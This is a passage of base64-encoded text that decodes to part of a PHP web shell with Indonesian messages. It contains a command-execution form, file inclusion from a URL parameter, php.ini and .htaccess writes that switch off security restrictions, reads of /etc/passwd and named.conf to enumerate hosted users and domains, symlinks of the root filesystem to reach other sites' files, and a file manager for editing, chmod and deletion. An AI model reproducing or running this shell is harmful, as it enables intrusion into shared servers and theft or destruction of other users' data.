IGluaV9nZXQoInNhZmVfbW9kZSIpOyBuIGVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7IG4gaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsgbiBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7IG4gaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOyBuIGVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7IG4gZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsgbiBpbmNsdWRlKCRfR0VUWyJzcyJdOyBuID8+JzsNCgkJCSAkYnlwaCA9ICJzYWZlX21vZGUgPSBPZmYgbiBkaXNhYmxlX2Z1bmN0aW9ucz0gIjsNCgkJJGNvbXA9IlBFWnBiR1Z6SUNvdWNHaHdQZzBLUm05eVkyVlVlWEJsSUdGd2NHeHBZMkYwYVc5dUwzZ3RhSFIwY0dRdGNHaHdOQTBLUEM5R2FXeGxjejQ9IjsNCgkJZmlsZV9wdXRfY29udGVudHMoInBocC5pbmkiLGJhc2U2NF9kZWNvZGUoJGJ5cGgpKTsNCgkJZmlsZV9wdXRfY29udGVudHMoImluaS5waHAiLGJhc2U2NF9kZWNvZGUoJGluaXBoKSk7DQoJCWZpbGVfcHV0X2NvbnRlbnRzKCIuaHRhY2Nlc3MiLGJhc2U2NF9kZWNvZGUoJGNvbXApKTsNCgkJZWNobyAiPHNjcmlwdD5hbGVydCgnRGlzYWJsZSBGdW5jdGlvbnMgaW4gTGl0ZXNwZWVkIENyZWF0ZWQnKTsgaGlkZUFsbCgpOzwvc2NyaXB0PiI7DQoJCWVjaG8iPC9jZW50ZXI+IjsNCn0NCg0KfQ0KZWxzZWlmKCRfR0VUWydhJ10gPT0gJ3N5bWxpbmsnKSB7DQokZnVsbCA9IHN0cl9yZXBsYWNlKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10sICIiLCAkcGF0aCk7DQokZDBtYWlucyA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCiMjaHR0YWNlcw0KaWYoJGQwbWFpbnMpew0KQG1rZGlyKCJrMHYzVF9zeW0iLDA3NzcpOw0KQGNoZGlyKCJrMHYzVF9zeW0iKTsNCkBleGUoImxuIC1zIC8gcm9vdCIpOw0KJGZpbGUzID0gJ09wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRGlyZWN0b3J5SW5kZXggazB2M1QuaHRtDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocA0KQWRkSGFuZGxlciB0ZXh0L3BsYWluIC5waHANClNhdGlzZnkgQW55JzsNCiRmcDMgPSBmb3BlbignLmh0YWNjZXNzJywndycpOw0KJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7QGZjbG9zZSgkZnAzKTsNCmVjaG8gIjxicj4NCjx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTEgc3R5bGU9J3dpZHRoOjYwJTtib3JkZXItY29sb3I6IzMzMzMzMzsnPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+Uy4gTm8uPC9mb250PjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5Eb21haW5zPC9mb250PjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5Vc2VyczwvZm9udD48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+U3ltbGluazwvZm9udD48L3RkPg0KPC90cj4iOw0KJGRjb3VudCA9IDE7DQpmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pew0KaWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKXtwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsNCmZsdXNoKCk7DQppZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMil7DQokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpOw0KZWNobyAiPHRyIGFsaWduPWNlbnRlcj48dGQ+PGZvbnQgc2l6ZT0yPiIgLiAkZGNvdW50IC4gIjwvZm9udD48L3RkPg0KPHRkIGFsaWduPWxlZnQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbnNbMV1bMF0uIi8+PGZvbnQgY2xhc3M9dHh0PiIuJGRvbWFpbnNbMV1bMF0uIjwvZm9udD48L2E+PC90ZD4NCjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+DQo8dGQ+PGEgaHJlZj0nJGZ1bGwvazB2M1Rfc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPjxmb250IGNsYXNzPXR4dD5TeW1saW5rPC9mb250PjwvYT48L3RkPjwvdHI+IjsNCmZsdXNoKCk7DQokZGNvdW50Kys7fX19DQplY2hvICI8L3RhYmxlPiI7DQp9ZWxzZXsNCiRURVNUPUBmaWxlKCcvZXRjL3Bhc3N3ZCcpOw0KaWYgKCRURVNUKXsNCkBta2RpcigiazB2M1Rfc3ltIiwwNzc3KTsNCkBjaGRpcigiazB2M1Rfc3ltIik7DQpleGUoImxuIC1zIC8gcm9vdCIpOw0KJGZpbGUzID0gJ09wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRGlyZWN0b3J5SW5kZXggazB2M1QuaHRtDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocA0KQWRkSGFuZGxlciB0ZXh0L3BsYWluIC5waHANClNhdGlzZnkgQW55JzsNCiAkZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsNCiAkZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTsNCiBAZmNsb3NlKCRmcDMpOw0KIGVjaG8gIg0KIDx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTE+PHRyPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlMuIE5vLjwvZm9udD48L3RkPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlVzZXJzPC9mb250PjwvdGQ+DQogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+U3ltbGluazwvZm9udD48L3RkPjwvdHI+IjsNCiAkZGNvdW50ID0gMTsNCiAkZmlsZSA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsICJyIikgb3IgZXhpdCgiVW5hYmxlIHRvIG9wZW4gZmlsZSEiKTsNCiB3aGlsZSghZmVvZigkZmlsZSkpew0KICRzID0gZmdldHMoJGZpbGUpOw0KICRtYXRjaGVzID0gYXJyYXkoKTsNCiAkdCA9IHByZWdfbWF0Y2goJy9cLyguKj8pXDpcLy9zJywgJHMsICRtYXRjaGVzKTsNCiAkbWF0Y2hlcyA9IHN0cl9yZXBsYWNlKCJob21lLyIsIiIsJG1hdGNoZXNbMV0pOw0KIGlmKHN0cmxlbigkbWF0Y2hlcykgPiAxMiB8fCBzdHJsZW4oJG1hdGNoZXMpID09IDAgfHwgJG1hdGNoZXMgPT0gImJpbiIgfHwgJG1hdGNoZXMgPT0gImV0Yy9YMTEvZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvbGliL25mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9hcnB3YXRjaCIgfHwgJG1hdGNoZXMgPT0gInZhci9nb3BoZXIiIHx8ICRtYXRjaGVzID09ICJzYmluIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FkbSIgfHwgJG1hdGNoZXMgPT0gInVzci9nYW1lcyIgfHwgJG1hdGNoZXMgPT0gInZhci9mdHAiIHx8ICRtYXRjaGVzID09ICJldGMvbnRwIiB8fCAkbWF0Y2hlcyA9PSAidmFyL3d3dyIgfHwgJG1hdGNoZXMgPT0gInZhci9uYW1lZCIpDQogY29udGludWU7DQogZWNobyAiPHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPiIgLiAkZGNvdW50IC4gIjwvdGQ+DQogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBjbGFzcz10eHQ+IiAuICRtYXRjaGVzIC4gIjwvdGQ+IjsNCiBlY2hvICI8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD48YSBocmVmPSRmdWxsL2swdjNUX3N5bS9yb290L2hvbWUvIiAuICRtYXRjaGVzIC4gIi9wdWJsaWNfaHRtbCB0YXJnZXQ9J19ibGFuayc+U3ltbGluazwvYT48L3RkPjwvdHI+IjsNCiAkZGNvdW50Kys7fWZjbG9zZSgkZmlsZSk7DQogZWNobyAiPC90YWJsZT4iO31lbHNle2lmKCRvcyAhPSAiV2luZG93cyIpe0Bta2RpcigiazB2M1Rfc3ltIiwwNzc3KTtAY2hkaXIoImswdjNUX3N5bSIpO0BleGUoImxuIC1zIC8gcm9vdCIpOyRmaWxlMyA9ICcNCiBPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQ0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHANCkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwDQpTYXRpc2Z5IEFueQ0KJzsNCiAkZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsNCiAkZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTtAZmNsb3NlKCRmcDMpOw0KIGVjaG8gIg0KIDxkaXYgY2xhc3M9J215Ym94Jz48aDIgY2xhc3M9J2sybGwzM2QyJz5zZXJ2ZXIgc3ltbGlua2VyPC9oMj4NCiA8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xPjx0cj4NCiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mz5JRDwvZm9udD48L3RkPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlVzZXJzPC9mb250PjwvdGQ+DQogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+U3ltbGluazwvZm9udD48L3RkPjwvdHI+IjsNCiAkdGVtcCA9ICIiOyR2YWwxID0gMDskdmFsMiA9IDEwMDA7DQogZm9yKDskdmFsMSA8PSAkdmFsMjskdmFsMSsrKSB7JHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkdmFsMSk7DQogaWYgKCR1aWQpJHRlbXAgLj0gam9pbignOicsJHVpZCkuIlxuIjt9DQogZWNobyAnPGJyLz4nOyR0ZW1wID0gdHJpbSgkdGVtcCk7JGZpbGU1ID0NCiBmb3BlbigidGVzdC50eHQiLCJ3Iik7DQogZnB1dHMoJGZpbGU1LCR0ZW1wKTsNCiBmY2xvc2UoJGZpbGU1KTskZGNvdW50ID0gMTskZmlsZSA9DQogZm9wZW4oInRlc3QudHh0IiwgInIiKSBvciBleGl0KCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOw0KIHdoaWxlKCFmZW9mKCRmaWxlKSl7JHMgPSBmZ2V0cygkZmlsZSk7JG1hdGNoZXMgPSBhcnJheSgpOw0KICR0ID0gcHJlZ19tYXRjaCgnL1wvKC4qPylcOlwvL3MnLCAkcywgJG1hdGNoZXMpOyRtYXRjaGVzID0gc3RyX3JlcGxhY2UoImhvbWUvIiwiIiwkbWF0Y2hlc1sxXSk7DQogaWYoc3RybGVuKCRtYXRjaGVzKSA+IDEyIHx8IHN0cmxlbigkbWF0Y2hlcykgPT0gMCB8fCAkbWF0Y2hlcyA9PSAiYmluIiB8fCAkbWF0Y2hlcyA9PSAiZXRjL1gxMS9mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9saWIvbmZzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FycHdhdGNoIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2dvcGhlciIgfHwgJG1hdGNoZXMgPT0gInNiaW4iIHx8ICRtYXRjaGVzID09ICJ2YXIvYWRtIiB8fCAkbWF0Y2hlcyA9PSAidXNyL2dhbWVzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2Z0cCIgfHwgJG1hdGNoZXMgPT0gImV0Yy9udHAiIHx8ICRtYXRjaGVzID09ICJ2YXIvd3d3IiB8fCAkbWF0Y2hlcyA9PSAidmFyL25hbWVkIikNCiBjb250aW51ZTsNCiBlY2hvICI8dHI+PHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+IiAuICRkY291bnQgLiAiPC90ZD4NCiA8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD4iIC4gJG1hdGNoZXMgLiAiPC90ZD4iOw0KIGVjaG8gIjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY2xhc3M9dHh0PjxhIGhyZWY9JGZ1bGwvazB2M1Rfc3ltL3Jvb3QvaG9tZS8iIC4gJG1hdGNoZXMgLiAiL3B1YmxpY19odG1sIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rPC9hPjwvdGQ+PC90cj4iOw0KICRkY291bnQrKzt9DQogZmNsb3NlKCRmaWxlKTsNCiBlY2hvICI8L3RhYmxlPjwvZGl2PjwvY2VudGVyPiI7dW5saW5rKCJ0ZXN0LnR4dCIpOw0KIH0gZWxzZQ0KIGVjaG8gIjxjZW50ZXI+PGZvbnQgc2l6ZT0zPkNhbm5vdCBjcmVhdGUgU3ltbGluazwvZm9udD48L2NlbnRlcj4iOw0KIH0NCiB9DQojI0pVTVBJTkcgDQp9IGVsc2VpZigkX0dFVFsnYSddID09ICdqdW1waW5nJykgew0KICAgICRpID0gMDsNCiAgICBlY2hvICI8cHJlPjxkaXYgY2xhc3M9J21hcmdpbjogNXB4IGF1dG87Jz4iOw0KICAgICRldGMgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpIG9yIGRpZSgiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+Iik7DQogICAgd2hpbGUoJHBhc3N3ZCA9IGZnZXRzKCRldGMpKSB7DQppZigkcGFzc3dkID09ICcnIHx8ICEkZXRjKSB7DQogICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+IjsNCn0gZWxzZSB7DQogICAgcHJlZ19tYXRjaF9hbGwoJy8oLio/KTp4Oi8nLCAkcGFzc3dkLCAkdXNlcl9qdW1waW5nKTsNCiAgICBmb3JlYWNoKCR1c2VyX2p1bXBpbmdbMV0gYXMgJHVzZXJfaWR4X2p1bXApIHsNCiAgICAgICAgJHVzZXJfanVtcGluZ19kaXIgPSAiL2hvbWUvJHVzZXJfaWR4X2p1bXAvcHVibGljX2h0bWwiOw0KICAgICAgICBpZihpc19yZWFkYWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsNCiAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj0jNWRkY2ZjPlI8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR1c2VyX2p1bXBpbmdfZGlyJz48Zm9udCBjb2xvcj1yZWQ+JHVzZXJfanVtcGluZ19kaXI8L2ZvbnQ+PC9hPiI7DQogICAgICAgICAgICBpZihpc193cml0YWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsNCiAgICAgICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj0jNWRkY2ZjPlJXPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXNlcl9qdW1waW5nX2Rpcic+PGZvbnQgY29sb3I9IzVkZGNmYz4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gJGpydzsNCiAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgew0KICAgICAgICAgICAgICAgICRkb21haW5fanVtcCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsgICANCiAgICAgICAgICAgICAgICBpZigkZG9tYWluX2p1bXAgPT0gJycpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiID0+ICggPGZvbnQgY29sb3I9cmVkPmdhZ2FsIG1lbmdhbWJpbCBuYW1hIGRvbWFpbiBueWE8L2ZvbnQ+ICk8YnI+IjsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgiIy92YXIvbmFtZWQvKC4qPykuZGIjIiwgJGRvbWFpbl9qdW1wLCAkZG9tYWluc19qdW1wKTsNCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkZG9tYWluc19qdW1wWzFdIGFzICRkaikgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXJfanVtcGluZ191cmwgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyRkaiIpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1c2VyX2p1bXBpbmdfdXJsID0gJHVzZXJfanVtcGluZ191cmxbJ25hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR1c2VyX2p1bXBpbmdfdXJsID09ICR1c2VyX2lkeF9qdW1wKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiID0+ICggPHU+JGRqPC91PiApPGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gIjxicj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KfQ0KICAgIH0NCiAgICBpZigkaSA9PSAwKSB7DQogICAgfSBlbHNlIHsNCmVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiIiOw0KICAgIA0KICAgIGVjaG8gIjwvZGl2PjwvcHJlPiI7DQoJCX0NCg0KDQoNCi8vQ09ORklHDQoNCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2NtZCcpIHsNCgllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCTxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPiIuJHVzZXIuIkAiLiRpcC4iOiB+ICQgPC9mb250Pg0KCTxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSczMCcgaGVpZ2h0PScxMCcgbmFtZT0nY21kJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdkb19jbWQnIHZhbHVlPSc+Pic+DQoJPC9mb3JtPiI7DQoJaWYoJF9QT1NUWydkb19jbWQnXSkgew0KCQllY2hvICI8cHJlPiIuZXhlKCRfUE9TVFsnY21kJ10pLiI8L3ByZT4iOw0KCX0NCg0KLy9TVEFSVA0KfSBlbHNlaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpew0KZWNobyAiPHRyPjx0ZD5DdXJyZW50IEZpbGUgOiAiOw0KZWNobyAkX0dFVFsnZmlsZXNyYyddOw0KZWNobyAnPC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCmVjaG8oJyA8Y2VudGVyPjx0ZXh0YXJlYSBzdHlsZT0id2lkdGg6ODAlO2hlaWdodDo1MCU7IiByZWFkb25seT4gJy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydmaWxlc3JjJ10pKS4nPC90ZXh0YXJlYT48L2NlbnRlcj4nKTsNCn1lbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdkZWxldGUnKXsNCmVjaG8gJzwvdGFibGU+PGJyIC8+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsNCmlmKCRfUE9TVFsnb3B0J10gPT0gJ2NobW9kJyl7DQppZihpc3NldCgkX1BPU1RbJ3Blcm0nXSkpew0KaWYoY2htb2QoJF9QT1NUWydwYXRoJ10sJF9QT1NUWydwZXJtJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5HYW50aSAgUGVybWlzc2lvbiBCZXJoYXNpbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn1lbHNlew0KZWNobyAnPGZvbnQgY29sb3I9IlJFRCI+R2FudGkgUGVybWlzc2lvbiBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCn0NCmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQpQZXJtaXNzaW9uIDogPGlucHV0IG5hbWU9InBlcm0iIHR5cGU9InRleHQiIHNpemU9IjQiIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCkuJyIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iY2htb2QiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNobW9kIiAvPg0KPC9mb3JtPic7DQp9ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ3JlbmFtZScpew0KaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCmlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5HYW50aSBOYW1hIEJlcmhhc2lsIEdhbjwvZm9udD48YnIgLz4nOw0KfWVsc2V7DQplY2hvICc8Zm9udCBjb2xvcj0iUkVEIj5HYW50aSBOYW1hIEdhZ2FsIEdhbjwvZm9udD48YnIgLz4nOw0KfQ0KJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsNCn0NCmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQpOYW1hIEJhcnUgOiA8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVWJhaCBOYW1hIiAvPg0KPC9mb3JtPic7DQp9ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ2VkaXQnKXsNCmlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsNCiRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7DQppZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5FZGl0IEZpbGUgQmVyaGFzaWwgR2FuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSJSRUQiPkVkaXQgRmlsZSBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCmZjbG9zZSgkZnApOw0KfQ0KZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4NCjx0ZXh0YXJlYSBjb2xzPTE0MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVkaXQgRmlsZSIgLz4NCjwvZm9ybT4nOw0KfQ0KZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7DQppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2Rpcicpew0KaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5IYXB1cyBEaXIgQmVyaGFzaWwgR2FuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkhhcHVzIERpciBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCn1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsNCmlmKHVubGluaygkX1BPU1RbJ3BhdGgnXSkpew0KZWNobyAnPGZvbnQgY29sb3I9IiM1ZGRjZmMiPkhhcHVzIEZpbGUgQmVyaGFzaWwgR2FuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSIjcmVkIj5IYXB1cyBGaWxlIEdhZ2FsIEdhbjwvZm9udD48YnIgLz4nOw0KfQ0KfQ0KfQ0KCQkNCmVjaG8gJzwvY2VudGVyPic7DQokc2NhbmRpciA9IHNjYW5kaXIoJHBhdGgpOw0KZWNobyAnPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSI3MDBweCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPg0KPHRyIGNsYXNzPSJmaXJzdCI+DQo8Yj48dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj1ibGFjayBzaXplPTM+TmFtZTwvZm9udD48L2NlbnRlcj48L3RkPjwvYj4NCjxiPjx0ZD48Y2VudGVyPjxmb250IGNvbG9yPWJsYWNrIHNpemU9Mz5TaXplPC9mb250PjwvY2VudGVyPjwvdGQ+PC9iPg0KPGI+PHRkPjxjZW50ZXI+PGZvbnQgY29sb3I9YmxhY2sgc2l6ZT0zPlBlcm1pc3Npb25zPC9mb250PjwvY2VudGVyPjwvdGQ+PC9iPg0KPGI+PHRkPjxjZW50ZXI+PGZvbnQgY29sb3I9YmxhY2sgc2l6ZT0zPk9wdGlvbnM8L2ZvbnQ+PC9jZW50ZXI+PC90ZD48L2I+DQo8L3RyPic7DQoNCmZvcmVhY2goJHNjYW5kaXIgYXMgJGRpcil7DQppZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsNCmVjaG8gIjx0ZCBjbGFzcz0ndGRfaG9tZSc+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxSMGxHT0RsaEV3QVFBTE1BQUFBQUFQLy8vNXljQU03T1kvLy9uUC8venYvT25QZjM5Ly8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4iQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFUQUJBQUFBUlJFTWxKcTcwNDZ5cDZCeHNpSEVWQkVBS1lDVVByRHA3SGxYUmRFb01xQ2VicCIuIi80WWNoZmZ6R1FoSDRZUllQQjJET2xIUGlLd3FkMVBxOHlyVlZnM1FZZUg1UllLNXJKZmFGVVVBM3ZCNGZCSUJBRHM9Jz4NCjxhIGhyZWY9XCI/cGF0aD0kcGF0aC8kZGlyXCI+PGZvbnQgY29sb3I9cmVkPiRkaXI8L2ZvbnQ+PC9hPjwvdGQ+DQo8dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj1yZWQ+RGlyZWN0b3J5PC9mb250PjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj4iOw0KCQ0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9IiM1ZGRjZmMiPic7DQplbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQplY2hvIHBlcm1zKCIkcGF0aC8kZGlyIik7DQppZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsNCg0KZWNobyAiPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCI/b3B0aW9uJnBhdGg9JHBhdGhcIj4NCjxzZWxlY3QgbmFtZT1cIm9wdFwiPg0KPG9wdGlvbiB2YWx1ZT1cIl